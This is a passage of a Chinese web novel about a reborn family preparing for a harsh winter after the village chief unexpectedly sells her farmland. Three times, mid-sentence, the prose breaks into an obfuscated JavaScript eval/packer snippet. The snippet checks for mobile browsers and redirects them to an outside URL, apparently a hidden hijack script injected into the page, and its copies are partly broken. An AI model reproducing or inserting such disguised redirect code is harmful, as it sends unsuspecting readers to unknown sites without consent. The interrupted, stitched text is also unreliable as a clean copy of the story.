“那可全都是好土地,现在想买的人非常多。你和你娘说,等她回来了,赶快去村长那儿吧。去晚了,可就什么都没有了。” 张有嘴巴不停的说完这些,就急急忙忙的走了,“我先过去了啊,你记得和你娘说一声。” “好,谢谢张姨的提醒。”许岁安看着张有匆忙离开的背影,连忙回道。 张有没有回头,只是摆了摆手,示意自己听到了。 许岁安关上门,带着陈知礼回了房间,路上,那眉头一直就没松开。 “妻主,怎么了?”看着许岁安愁眉不解的样子,陈知礼疑惑问道。 “我只是觉得有点奇怪,这夏天,怎么会卖地呢?”许岁安坐下喝了一口水。 “夏天,她们家已经操持土地几个月了,就等着秋天收获了。” “不然春天卖也行啊,还节省了这几个月的精力了。怎么就挑这个时候卖地了呢?” 陈知礼倒是没多想,“刚刚张姨不是说了吗,村长突然下定决心要送女儿去镇上读书了。” “那也不差这几个月了,马上要到收获的时候了。”许岁安疑惑的说。 “反正学堂春天开学那会儿她们都已经错过了,现在送去插班也晚了,为什么不等明年春天再送去呢?” 陈知礼也皱起眉头,不过他想世上可能就是会有这种为了女儿不顾一切的母亲吧。 “可能村长很爱她女儿呢,所以有了送她女儿去镇上读书的念头后,就一刻也等不了了。” “那也太不顾一切了吧。”许岁安笑了笑,“村长是很爱女儿没错,但我觉得她应该不会这么糊涂。” “更何况徐明珠不爱读书又不是这一两天的事,都这么多年了,村长怎么现在就突然火急火燎了。” “这事儿不对劲,等娘回来我和她说说。” ***** 另一边,村长院子里,也有人觉得村长的行为有些奇怪。 “村长,怎么突然想起送明珠去镇上学了,这么多年,她不是在村里学的很好吗?” “是啊,而且现在镇上学堂开学时间早过了,现在送明珠过去有些晚了吧?” “村长,你真的想好了吗?这种地最难的几个月都过去了,就等着收获了,你确定现在要卖?” “是啊,村长,大家都是一个村子里的,卖了地可就不能反悔了哦。” “村长,你是连着地里的庄稼一起卖吗?价格多少?” ...... 听着耳边叽叽喳喳的话,村长徐玉竹头疼的拍了拍桌子,“好了好了,一个一个来。” “你们全叠在一起说,我怎么听得清嘛。” “这两天明珠学习态度很差,我听村里教书的夫子说,明珠这两天竟然开始公然在课上睡觉!” 说到这里,徐玉竹很是生气,“这是一个学生的样子吗?” “不过我也理解夫子,夫子可能是看在我的面子上,不敢对明珠下重手。” “但明珠这样子,不下重手能行吗?她再这样就废了啊!” “所以,我得帮明珠找一个可以好好管住她的老师。” 听村长这么说,小溪村过来买地的村民倒是理解了村长为什么要把徐明珠送去镇上上学的原因了,可怜她一片慈母心啊。 不过还是有善良的村民想好心的劝一劝村长,她也怕村长这是一时情绪上来了,事后会后悔,那时可就不好弄了。 “村长,要不你再考虑考虑吧,卖地毕竟不是什么小事,卖地容易买地难啊。” “对啊,村长,你再多想想吧,不然等秋收后再卖吧,我们也不差这几个月的。” “或者让明珠先在村里继续学着吧,等明年开春再送她去镇上,她也方便些。” “唉——”,徐玉竹叹了一口气,“你们说的这些我都好好考虑过了,不过实在等不了了。” “明珠现在都这种情况了,再耽误几个月下去,怕是她整个人都废了,学也学不进去了。” “不能等了,可惜我家里银钱不够,之前借出去给别人的,还钱时候还没到,我也不好催。” “没办法,所以才想着卖几亩地救急。” 村长这话说的可怜,有的村民听了心里不是滋味,也觉得村长对她女儿宠爱太过了。 “村长,地是农民的根啊,你既然外面有欠款,为何不找那人要呢?”有村民还是疑惑。 徐玉竹闻言摇了摇头,“不行的,借出去的不是一笔小钱,人家也不可能一下子全还给我。她家之前对我有恩,所以我也不能继续催了。” “好了,土地要不要买都看你们自己,反正我已经决定好要卖了。” “这价格就按正常价来,地里的庄稼也一起卖了,所以一亩地的价格会多一点,你们觉得可以的就买吧。” “买完地,我们签字画押,你们也不用担心我后悔,那白纸黑字都写着呢。” 等徐玉竹说完这些话,院子里的村民面面相觑,一时间空气又安静下来了。 “你买吗?”有村民小声的询问着交好的村民。 “买!”那村民咬牙说着,大不了这段时间吃差点,这上好的土地她可不能错过。 “对了,这买地的事情你们可要快点决定,我和附近的其他两个村子也说了我要卖地的事情。”徐玉竹这么冷不丁的开口,倒是让在场的村民心里更加急切了。 很快,就有村民下定决心,“我买!村长你给我留一亩地吧,我现在回去筹钱。” “我也买一亩地,村长你等我拿钱过来吧。” ...... “到底是为什么啊?”许岁安发出感慨。 张有离开后,她和陈知礼讨论半天,愣是想不出原因,话本也没心情看了。 于是许岁安拉着陈知礼出来,在院子里边晒太阳边思考。 “吱呀——” 随着一声开门声响起,许岁安兴冲冲的就去找许春花。 “娘,你回来啦,我和你说个事儿。” 许春花搬着买回来的货物,“急吗?不急我先去把驴车还了。” 许岁安想了想,“有点急,我们先商量商量吧,你没回来之前,我和知礼想了老半天了。” 许岁安这么说倒是让许春花有了兴趣,“好,我先把驴子绑上,然后再来听听是什么事情。” 没过一会儿,四人一起走进堂屋,把门关好,许岁安说起了村长卖地的事情。 这种反常的行为,让许春花也很不能理解,就不能等秋收完了再卖地吗,村长也舍得。 “我知道村长一直都很宠徐明珠,但卖地这事儿也有点儿太过了吧。”许岁安拧眉说道。 许春花也感觉这事情有古怪,她想了想,“这样,我先去还驴车。估计张有也该回去了,我去听听村长和其他人是怎么解释的。” “那我也去吧,娘,我真的很好奇。”许岁安立马跟着说。 “行。”许春花点头答应了,“林林和知礼你们就先在家里等着,我们回来再和你们说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200108|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 许春花和许岁安到了张有家,喊了两声,张有出来开门了,这可真是太巧了。 “春花妹子,你回来了,我让岁安和你说的事情你知道了吗?”张有问。 许春花点了点头,“知道,我一回来,安安就和我说了。” “不过张姐,村长怎么会突然卖地了呢?都快到秋收的时候了,她再等几个月多好。” 说起这个,张有就一脸无奈,“村长还不是为了她女儿,听说村里的夫子现在已经管不动徐明珠了,徐明珠这两天上课时都直接睡觉了。” “你说这情况村长能不急吗?所以村长就想着干脆把徐明珠送到镇上去求学,那里管的可比村里严多了。” “啊,徐明珠现在已经变的这样了吗?这情况确实该好好管管了。”许春花有点惊讶。 张有也皱起了眉头,“我也没想到,明珠这孩子之前虽然对读书不是特别热情,但态度还是端正的,上课睡觉这种事她以前从来都没做过。” “也难怪现在村长着急了,要我我也急。” 许春花想了想,开口问道:“可是村长难道没有存银钱吗?怎么都不至于卖地吧。” 说到这个,张有满脸唏嘘,“村长也是运气不好,很无奈,这事情都撞在一起了。” “她本来是有一些银钱的,可不巧之前借给了其他人,那人对村长还有恩,所以村长也不好强催,这没办法,才选择卖地。” 许春花闻言,点了点头,“这样啊,那确实是不凑巧。” 张有看许春花在大门处站了半天,想了想,问道:“春花妹子,要不你们进来坐会儿吧,喝口水。” 许春花摇了摇头,“不用了,张姐,本来想着还了驴车就走的,家里还有人等着呢。” “进来坐吧,没事,不差这两分钟的。”张有很热情的招呼道。 许春花笑了笑,连忙摆手拒绝,“真不用,张姐还有其他事情吗?不然我和安安就先回去了。” 张有停下动作,“我倒是没什么事情了,对了,你要不要买一亩村长家的地啊?” “春花妹子,你也知道村长家的那些土地可都是良田啊,平常很难遇到的。” “而且村长给出的价格也公道,我觉得你也可以咬牙买一亩。” 许春花是不打算买地的,她听见张有这么说,犹豫几秒,和许岁安对视一眼,苦笑道:“张姐,我倒是想,不过你也知道,安安年前才成亲,那会儿我们家的银钱都用完了。” “唉,这也没办法,可能我和这地没缘分吧。” 张有听见许春花这么说,反应过来了,“这,这倒是我考虑不周了。” “不过成亲是大事,耽误不得。这土地就再等等吧,说不定过几年正好又有合适的在卖呢。” 许春花笑了笑,“但愿吧。” “那张姐,我们就先回去了。” 张有点点头,看着许春花二人离开的背影,想着这真是命,她们这些猎户哪个不想买块好地呢? 可好地不好等啊,寻常农户若不是遇上用钱大事,是绝不可能卖地的。而且好地出现了,你也得有银钱买才行啊。 想她去年还因为春花妹子家女儿结婚,自己女儿亲事没着落而惆怅,如今倒是峰回路转了。 她女儿虽然亲事没着落,但她们家银钱还在啊,如今这反而成了喜事,她们家有钱去买良田了。 倒是春花妹子可惜了,等了那么久的良田,如今却生生错过了...... 许岁安二人一路无言,不紧不慢的回到家里,关好门,迎着另外两道好奇的视线,将从张有那里听到的话复述出来。 “这么听来,村长卖地也算正常。”周林说道。 许岁安想了想,“确实,按照村长对徐明珠的重视程度,她这么做也可以理解。” “不过,我还是觉得有哪里不太对劲。”许岁安皱着眉头说道。 一阵沉默后,许春花开口了,“村长那边,会不会有人和你一样,从未来回来了?” 这句话落在许岁安耳中,顿时让她茅塞顿开,她知道了! 她知道是谁从未来回来了,是徐明珠,是女主,是她看过的那本书。 这么说来,徐明珠重生了,她有空间,估计她已经将所有事情都和村长说了。怪不得村长会突然卖地,因为她们需要银子去购买其他物资。 “你说的对,娘,所以村长才会卖地,因为她们要用银子去买其他东西。”许岁安附和道。 许春花闻言,苦笑一声,“村长可真不地道,如果不是我们已经知道了后面的天灾,估计我们家也会拿全部银子去买地。” 许岁安沉默了,看着她娘伤心的神色,安慰道:“其实村长也没把事彻底做绝,地里的庄稼,如果买地的人不卖,也可以支撑很久了。” “村长会提醒那些人吗?”许春花喃喃说道。 许岁安神色肯定,“会的,这个村子里的人以后还会一起逃难,其他人家没有物资,对于村长来说,不是好事。” 28. 第 28 章 时光如梭,转眼又过去三个月,树上的叶子从青绿变成枯黄,深秋时节已经到来了。 “铛铛铛——” “铛——” “村长喊集合,有大事宣布——” “集合——,集合——” “娘,你听见了吗?” 许家屋子里,许岁安正和其他三人一起商量着还需要购买准备的物资。这时,一阵敲锣声打断了她们的讨论。 许春花表情严肃认真,“嗯,喊人去村长家集合呢。” “不知道是什么事情,要不我一个人去算了,你们都留在家里吧。” 许岁安听着外面震天响的敲锣声和大喊声,想了一下,“我也一起去吧,召集全村人要说的肯定是大事,多个人好点。” 多一个人也没什么,许春花听见许岁安想去,没有犹豫,直接就答应了。 “嘭嘭嘭——”,外面的大门处传来剧烈的拍打声,吓得院子里养的几只鸡惊恐的叫起来。 许岁安跟着许春花往院门处走,打开门,就是一脸焦急的徐红云。 徐红云是村长的妹妹,一般村长有什么事情的话,她也会代为转达。 “哎呦,你们可算是开门了,我姐说有大事宣布,让村子里的人家每户都派一两个人过去。” 许春花看着徐红云脸上的汗珠,“我知道了,徐姐,要不要进来喝杯水,我看你累的脸上都是汗。” 徐红云喘息两口,她舔了舔有些干燥的嘴皮,摆了摆手,“水就不喝了,我赶时间呢,你们是村尾的最后一家,快出来两人跟着我过去吧。” “好好好,徐姐别急,我和安安现在就跟着你走吧。”许春花说。 “行,那我们动作快点吧,可不能再耽搁了。”徐红云说着就转身领着许春花和许岁安快步走着。 路上,许岁安好奇的问徐红云,“徐姨,你知道村长要说什么事情吗?这阵仗好大啊。” 徐红云脚步不停,“我也不知道,不过肯定是大事,你去了可得好好听着。” “好。”许岁安答应一声,赶着路的同时心里也在思考,村长要说的会不会是让大家准备物资这件事。 等许岁安她们到了村长的院子里时,院子里面已经聚集了一大批人。大家对村长这次突然的召集,心里都有疑惑,叽叽喳喳的不断讨论着。 徐红云进入村长的院子里后,和许春花说了两句,就急急忙忙的去找村长了。 许岁安看了看院子里的人数,心想她和她娘该不会是最后来的吧。 她好奇的四处张望着,脑子里回想起小说里描写的女主空间,那空间正好就是村长家的复制版。 这么一看,女主的空间真不小,仅院子都可以站下几十人。 正当许岁安悄悄在心里估算村长家面积大小时,视线正好和张有的视线对上,张有看见她们,热情的招了招手。 许岁安笑了笑,轻轻扯了扯许春花的袖子,“娘,张姨在喊我们。” 许春花闻言,顺着许岁安的视线看去,笑着和张有招了招手,带着许岁安朝张有那边走去。 “安静——,安静——” 村长出来了,她站在一个凳子上,大声喊着。 人群里的声音随着村长的出现逐渐变小,但还有几个在小声说着话。 “都安静——,那边的几个,不要再说话了,我有大事情说。”村长声嘶力竭的喊了一句。 等人群彻底安静下来时,村长徐玉竹清了清嗓子,“好,人都到齐了吧?每家都有人来了吧?” “这样,我核对一下每户人家的名字,避免漏人了。” “徐红云家的?” “来了!”徐红云站在村长对面,急忙回应一声。 “好,下一位,张有家的?” “村长,我在!”许岁安听见张有的大声应答,那声音震得她耳朵有点疼。 “王要强家的?” ...... 等村长把村里的人家都点了一遍后,收起手册,“行,确定每户人家都来人了,那我开始说事情了,大家都认真听着。” “我前两天去了镇上一趟,听到了一些风声,说是今年冬天会特别冷,冷到普通人遭不住的地步。” “知道这个消息后,我特地在镇上的成衣铺和粮食店转了一圈,发现冬衣和粮食都涨价了。” “真的假的啊,村长?我前两天才卖了一些粮食出去啊?”有性子冲动的村民听见村长徐玉竹这么说,马上问道。 “真的,我去看的时候,粮食价格已经翻倍了,而且今年天气不好,收成不如往年,大家家里有余粮的,最好自己留着。” 听村长这么说,那名冲动的村民冯华立马压不住自己的脾气了,“村长,你既然前两天就知道了,干嘛不早告诉我们?” “我要是提前两天知道了,我卖出去的那些粮食说不定还能保住呢,现在我家都没余粮了!” “冯华,你先冷静一下。”村长安抚道。 “这消息我知道了,要先去辨别是真是假,本来就不可能马上说的,而且我还要多方考虑,不能给大家伙儿说错方向了。” “我不管!”冯华很是生气,“我卖粮食的那些钱,按你说的,现在根本买不回那么多粮食了,村长,你得负责!” 徐红云的脾气也压不住了,“我说冯华,你不要太过分了,你这些和我姐有什么关系,你卖粮食的时候难道没注意她们店里的标价吗?” “卖的时候估计收粮食的价格也高吧,你心里都不疑惑?你自己卖粮食的时候高高兴兴,现在来找什么茬?” 今年粮食收价是比以往高,冯华当时听了这个价格,激动得很,一点儿都没多想,兴奋的把家里的余粮全卖出去了。 冯华语气有些虚,“这,这也不能全怪我啊,庄稼地里多弄些钱多不容易啊,我家现在是一点儿余粮都没了,到时候吃不上饭怎么办?” 听着冯华一直在这儿纠结她那点事,有性子急的村民开始不耐烦了。 “行了,冯华,别纠结你那点事了,粮食明年还能再种,先听村长继续说吧。” 冯华还想争辩几句,但看着周围人脸上不耐烦的神色,最终还是沉默了。 “好,那我继续说了。”村长一脸平静。 “我知道大家肯定是留了够自己吃的粮食的,但我为什么让你们把余粮也留下,是看今年的天气不对劲啊。” “去年我就觉得温度相较于往年来说有些低了,但总体还算正常,粮食收成也正常。” “但今年就不一样了,今年温度低太多了,粮食收成也少了不少,我担心按这种温度下去,明年粮食收成还会更差!” “所以我让大家最好把余粮留下。” “不至于吧,村长,今年收成是少了一些,但也属于正常范围吧,明年总不可能还会降低。” 有的村民对村长徐玉竹的言论不太相信,而且今年粮食收价高,她们心里还是偏向于卖一点余粮的。 “我只是提醒你们,大家都是一个村子的,我不想看见明年会有吃不上饭的乡亲。”徐玉竹不紧不慢的说道。 “总的给自己留点后路吧,不要被现在这点小钱给蒙了眼,以后后悔都来不及。” “你们仔细想想,卖粮食的那点钱够重新买多少粮食?我前两天看的那个价格说不定这两天又涨了呢,你们心里就不担心?” 村长的话确实有道理,站着的众人沉默片刻,开始互相讨论起来。 “春花妹子,你家今年卖粮了吗?”张有问。 许春花看着张有好奇的眼神,“没,张姐你也知道,我家就那点地,自己都不够吃的。” “张姐呢?你们家今年多了一亩地,粮食应该也有多的吧?” 张有苦笑一声,“唉,我们家人多,就是多了一亩地,也不会有多的余粮,全自己家吃完了。” 许春花也跟着叹息一声,“也是,有余粮这事儿本来就很难和我们这些猎户扯上关系。” “停——,我再说两句,等我说完这些,要怎么做你们自己决定。”村长徐玉竹大喊一声。 村民安静下来,齐齐看着村长,等着她接下来的话语。 “那个冬衣我建议大家想办法多做几件,自己买个棉布,买些棉花,做厚实点,现在那成衣铺卖的太贵了。” “你们自己应该也感觉到了,今年降温很明显,你们想想前两年这时候我们穿多少,现在我们又穿多少。” “现在还没到冬天呢,还没到最冷的时候,后面肯定还会继续降温,没几件厚衣服到时候连门都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张有见许春花迟迟不说话,于是好心劝解,“岁安,你这就有点难为你娘了吧,那火炕可不便宜,还有材料也是一个问题。” 许岁安一脸认真,“张姨,我考虑过了,那火炕师傅收的人工费就和几个人风寒去看病买药的钱差不多。” “按照如今的温度降下去,得风寒的人也会大大增多,与其把银钱拿去买药,不如造一个火炕好。” “而且我们家人少,可以拆一间屋子做材料。” “张姨家也可以做一个火炕,家里有两位老人,更得注意了。” 许岁安这话让张有陷入沉思,她家买了一亩良田后,剩下的银钱真的不多了。 如果要做火炕,就要把剩下的这点银钱全部搭进去,之后再有什么事,她家可就一文钱都拿不出来了。 但是她家还有两位老人,如果她们得了风寒,那这些银钱估计也保不住了。 怎么选呢?张有陷入了为难之中,还有如果做了火炕,她家老人又得风寒了,那到时候又该怎么办呢? 等村民们讨论了一段时间后,徐玉竹看着差不多了,于是大声问道: “火炕师傅说只要有三户人家做火炕,她的价格就可以降一些了,每户人家可以少一百一十文。” “现在,有哪些人家想好了要做火炕,过来我这儿说。” “火炕最好早些做,等天气再冷些,你们想做,师傅都不一定有空。” 徐玉竹说完后,底下的村民讨论更加热烈了。 她们中的大部分人是觉得不用浪费这个钱的,但镇上的大人们都这么准备了,这就让她们有些慌了,也让她们开始犹豫起来。 讨论一段时间后,有些村民心里开始意动,想着回家问问其他人的意见。 “村长,还有其他事情吗?火炕的事情我得回去和家里其他人商量后再决定。” “没有了,没事的人可以走了。”徐玉竹大声回道。 于是村民开始陆陆续续的离开了,许岁安和许春花看这情况,对视一眼,打算随大流离开,明天再过来村长家说火炕的事情。 张有跟在许春花后面,“春花妹子,你们怎么走了啊?先前不是说......” 许春花停下脚步,转头看向张有,“张姐,我想了想,这火炕是件大事,还是得好好考虑考虑。” “张姐你也回去和家里人好好商量一下吧,我觉得村长说的还是有些道理的。” 29. 第 29 章 “妻主,村长喊你们过去是什么事情啊?” 听见开门声,周林立马放下手上正在清洗的菜,走到院子里,看着许春花二人,好奇的询问道,陈知礼紧随其后。 许春花朝周林走去,眉眼平和,简要概括道:“村长说今年温度会很低,劝大家囤粮买衣,还说镇上那些大人都提前盖了火炕,让我们也盖一个。” 许岁安悄悄走到了陈知礼旁边,对着陈知礼笑了笑,她看向正在说话的两人,垂下的手不知何时已经和陈知礼牵在一起。 虽然不知道火炕是什么,但周林还是先问道:“那我们要盖火炕吗?” “当然要盖。”许春花语气肯定,“有条件的话,我们还是得尽量过得好些。” 许岁安看着厨房,眼睛闪了闪,她下意识得握紧陈知礼的手,觉得这事得先和陈知礼说一声。 “知礼,火炕大概会建在我们住的那间屋,到时候天冷了,大家就会都在一个屋子里。” 陈知礼愣了愣,他看着许岁安的眼睛,点头应了一声,想着妻主这样决定,总有她的想法。 许岁安之所以特地先提前小声的和陈知礼说一句,是想着让他提前一点知道,心里也会好受些,而且建火炕的屋子最合适的就是这个。 接着,许岁安接过许春花的话,开始解释起来,“爹,知礼,路上我和娘都考虑过了。” “火炕烧起来需要一个炉灶,所以建火炕的地点最好挨着厨房。我们家挨着厨房的只有我和知礼现在住着的这屋,火炕也只能在这屋建了。” “等天气再冷些,需要用到火炕的时候,大家就都在这屋睡。” 周林之前虽听过许岁安说的那些天灾,但到底还是没什么实感。如今听见许岁安这么说,知道后面要住在一个屋子,心里难免别扭迟疑。 他看了看许春花,又看了看陈知礼,对着许岁安说道:“这样会不会不太好,毕竟你和知礼成亲也没多久,...我们不能分开住吗?” 许岁安摇了摇头,看着她娘许春花,示意这事儿让她娘许春花来解释。 许春花看着周林神色不解的样子,想了想,说道:“我们到堂屋里面去说吧,一直在院子里站着也不好。” 进入堂屋后,四人依次坐下,许春花看着许岁安,“安安,拿出点热水来喝。” “好,要不喝红糖姜茶吧?还是你们有其他想喝的?”许岁安视线转了一圈,确认没有异议后,拿出四杯红糖姜茶。 许春花喝了几口红糖姜茶后,觉得身体都暖和许多,她两只手握在热乎乎的杯壁上。 “首先,我们都知道接下来这个寒冬会很长,极低的温度会持续一年多。” “然而,等这个寒冬过去后,接下来的化冻期和洪涝期还是会非常冷,需要用柴和炭来取暖。” “所以,对于柴炭,我们应该节约使用。” “如果分成两屋,这种消耗就会翻倍,而且分成两屋,后面建火炕要用到的材料也会翻倍。” 周林已经听明白了,涉及生存的事也容不下他多想,先前问的时候他也没考虑到资源的消耗。 不过,虽然她们家物资应该够了,但对于这个漫长的寒冬,周林心里还是有些打鼓,“后面最冷有多冷啊?” 许岁安脸色平静,“会到不能出门的地步,在外面冻时间长了,可能会直接把耳朵、手指头都给冻下来。” “这么冷!”周林下意识惊呼,他的手指悄悄蜷了蜷,“那其他人岂不是活下去了。” “每年冬天她们都会备柴,如果柴够的话,也能熬过去。”许岁安说道,“我记得后面我们村子还是活下来一些人的。” 许春花听见许岁安这样说,脸色难看,她又觉得自己准备的木柴还是少了点,“安安,要不我们后面再去上山砍些柴吧。” 许岁安明白许春花的意思,不过想想空间里的物资,她觉得她们家肯定是够用了。 “娘,你想想这两年我们已经砍了多少柴吧,不用再担心柴不够的事情了,而且空间里面还有煤炭。” “加上今天村长说的话,我估计村子后面上山砍柴的人会很多,我们最好不去挤这一波。” “山上人多了,空间暴露的可能性会加大。不过,后面我们还是随大众也去砍些柴,砍多少是多少。” 就算许岁安这么解释了,但许春花心里还是难免焦虑,不过保护空间更重要。 “行,这段时间跟着村民一起砍柴,后面也够我们用一段时间。” 许岁安笑了笑,她想着火炕,又联想起一件事情来,“娘,要不我们再搭一个棚子吧。” “到时候外面这么冷,但我们还是会在院子里走动,搭个棚子,去厨房和厕所也方便暖和一点。” 许春花想了想,同意了许岁安这个提议,“好,过两天我们去山上锯几根长木。” 其实到了今天这个时候,许岁安她们家能做的准备都已经提前做好了。 院子里的井水,许岁安用充气泳池和大号塑料桶装了很多在空间里。 空间的水果,她们家也专门洗好切好很多,方便后面食用。 空间里的蔬菜肉食,周林和陈知礼也已经处理了很多。 他们两个每次做饭都会以二三十人的量来准备,多余的就用一次性餐盒装好放进许岁安的空间里。 那些棉花、冬衣之类的,她们之前就买好了,也专门用棉花缝了几件新袄子。 其他的米面粮油之类的,许岁安和家里其他人一起去镇子上时,也买了不少。 像是想到什么,许岁安说道:“娘,过两天我们要不要再去镇上一趟,我估计这大概是我们最后一次去镇上了。” “唉——”,许春花叹息一声,“是得去一趟,今天村长都这么说了,我们家该得多买两袋米面回来装装样子。” “明天就去吧,顺路和村长说一下我们家也要盖火炕的事情。” 今天的话题有点沉重,许岁安四人安静的坐了一会儿,喝完姜茶,就一起去准备今天的晚饭了。 手上洗着菜,许岁安突然想起什么,“爹,等把火炕盖好后,就把院子里养着的鸡全都杀了吧。” 周林沉默两秒,心里有点舍不得,但也知道这些鸡估计活不到后面那么寒冷的日子,“好。” ...... 第二天清晨,一大早许春花就领着许岁安去张有家借驴车了。 “张姐——,张姐——”,许春花在张有家外面喊了几声。 张有急匆匆的过来开门,“来了——,来了——” “是春花妹子啊,这一大早的,有什么事情吗?” 许春花笑了笑,“张姐,我过来借驴车的。昨天你也听村长说了情况,我就想着去镇上把家里的几只兔子卖了,再买些粮食回来。” 张有点头,“是该买些粮食回来,对了,春花妹子最后决定好要盖火炕了吗?” “要盖的,一会儿我路过村长家就去说一声。”许春花说,“张姐呢,想好了吗?” “...我也要盖。”张有愁眉苦脸的,“今天不收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14250043|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你借车钱了,我也打算去镇上一趟。” 许春花摆手,“别,张姐还是收吧,后面哪里都需要银子。” 听了许春花的话,张有没说什么,她神色犹豫,“你说我要不要把那一亩地卖了?” 许春花没说好或不好,反问张有,“张姐,你舍得吗?” 张有烦闷的咬牙,“春花妹子,你等一下,我去把驴车牵出来。” 许岁安在一旁安静的站着,对于张有要一起去镇上的意外接受良好。反正她家的粮食是够的,这次去镇上也没打算多买。 到了村长家,许岁安她们和村长说了盖火炕的事后,村长笑眯眯的点头。 “好,不过昨晚已经有人过来先说这件事情了。” “所以,盖火炕的事,我家完了后,是徐红云家,再许春花家,最后张有家。” 材料齐全的情况下,火炕会盖的很快,两三天就可以盖好一个。加上一共就这么几个人,晚也晚不到几天,所以对于盖火炕的顺序,几人都没什么异议。 路上,张有一直心神不安,“春花妹子,你说我那地到底卖不卖啊?不知道为什么,我这心里一直慌得很,总觉得今年冬天不好过,该多买些东西。” 许春花看着张有眉头紧皱的样子,“卖地是大事,你和家里面商量过了吗?” 张有紧张的舔了舔嘴唇,“和她们说过了,她们都不同意卖,但我心里老觉得哪里不对劲。” 许春花想了想,“按村长说的,我们该多准备些粮食和衣物,柴火也要多些。” “还有,张姐家有两个老人,不管怎么,买药钱总得有点准备吧。” “张姐,你盖完火炕后,余下的银钱还够吗?” 张有满脸为难,“...我,我这也是没办法啊,不盖火炕的话,把银钱全准备着去看病也不好吧。” “唉,春花妹子,我再想想吧。” ...... 等许春花和张有一起把她们手上的兔子卖了后,她们手里又多了一些铜钱。 对于来镇上要买什么,大家心里面早就想好了。 于是张有和许春花拿到铜钱没有耽搁,立马赶着驴车去商铺买了自己需要的东西。 张有买了两袋米、两袋面和一些棉花及粗布,许春花买了五袋米、三袋面。 看着许春花只买粮食,张有好奇问道:“春花妹子不买点棉花吗?” 许春花摇摇头,“棉花之前买过,已经做好成袄子了。” 张有惊讶的睁大眼睛,诧异的说道:“春花妹子真厉害,棉花买的真早,现在棉花都涨价了。” 许春花笑了笑,“还是张姐厉害,挣了银子,现在不仅买了地,还买了棉花。” 张有尬尴的笑了一声,“那倒也没有,今天这是因为我夫郎把他压箱底的钱都给我了。” “姐夫真贤惠。”许春花夸了一句。 这话虽然是夸奖,但毕竟是拿了夫郎压箱底的钱,张有心里还是有点不自在。 于是他干巴巴的换了个话题,“哈哈,你们的东西都买全了吗?要不我们打道回村吧。” 许春花想了想,“全了,我们回去吧。” 今天她们的买东西的速度很快,为了省点钱,张有午饭吃的是自己带的干粮。 许春花见张有如此,也不好吃的太好,于是带着许岁安从路边买了两个饼子当午饭。 就是这样,回去路上,张有心里还有点发酸。她那干粮吃着冷冰冰的,还是春花妹子她们吃的好,那都是热乎的。 30. 第 30 章 “哟,你们这是买什么了?难不成还真信昨天村长的话啊?” 许岁安她们三人回到村子里,差不多要到吃晚饭的时间点了,所以难免会遇到村里的其他人。 这不,村里的丁怀英回家路上正好看见了许岁安三人和那明显拉了不少东西的驴车。 她看着稀奇,然后这么一问,觉得这三人也太把村长的话当回事了。 是,村长也没说错,今年的确温度低了些,收成也不如往年。 但要是因为这点小问题,就专门去镇上花高价去买厚衣服、买粮食,那也太傻了吧。 多浪费啊,现在的铜钱多难挣啊。还是她们打猎的钱来的容易呢,镇上的物价都翻倍了,她们还敢去镇上买这么东西。 “是丁姐啊,我们买了点粮食,要不然冬天不够吃。”张有笑呵呵的说道。 “毕竟我们俩主要靠打猎为生,没多少地,不专门去买粮食,后面哪里过得去呢。” 丁怀英听张有这么说,倒是有些理解,“你们也不容易,今年粮食还涨价了。” 张有抿了抿嘴唇,“涨价也得买啊,家里那么多人都等着吃呢,总不能饿死。” “不过张有,你不是才买了一亩地吗?还用得着专门再去买粮食啊?”丁怀英狐疑的看着张有。 “要买,家里人多,今年收成又不好,还是丁姐你们活得好,那地里的粮食绝对是够了。” 张有是真心实意的羡慕像丁怀英这样土地充足的人家的,她也一直想要拥有那么多的土地,也不知道她这辈子能不能有这么一天。 丁怀英人不坏,听见张有这么说,还有点可怜她。 “你家以后也可以的,今年不是才买了一亩地吗,要是年年都能买上一亩地,用不了几年,你就再也不用当猎户了。” 张有笑了笑,“哪能年年都能买的上地呢,我这辈子就不指望了,希望我家孩子以后可以吧。” 丁怀英听了没有再多说什么,又和许春花闲聊几句就离开了。 张有看着丁怀英离开的背影,对于卖地这件事更加纠结了,“春花妹子,你说我这地到底卖还是不卖啊?” 这事儿许春花可不敢给出具体的意见,不管怎么说都会得罪人。 “张姐,你这事情,我一个外人也不好多说啊,还是回去和家里人商量商量再决定吧。” “对了,张姐,我突然想起这后面治疗风寒的药材也不知道会不会涨价,你要不要提前买些放着。” 张有沉默了,她余下的银钱不多了啊,买药材又是一笔开销,可万一后面药材真的涨价了,她现在不买不就是亏了吗。 “......谢谢春花妹子提醒,这件事我回去和家里人说说,药材我觉得还是提前买点好。” 又过了一会儿,张有家到了,许春花帮着张有把她买的东西放下,对于张有让她先喝口水的提议也拒绝了。 “张姐,我家没多远了,等我回去把东西放下,就把你的驴车还回来。”许春花说道。 张有摆摆手,“没事,不着急,这个时间也没其他人会过来借驴车了,你慢慢来。” 许春花笑了笑,“好,那我吃了晚饭再过来还驴车吧。” 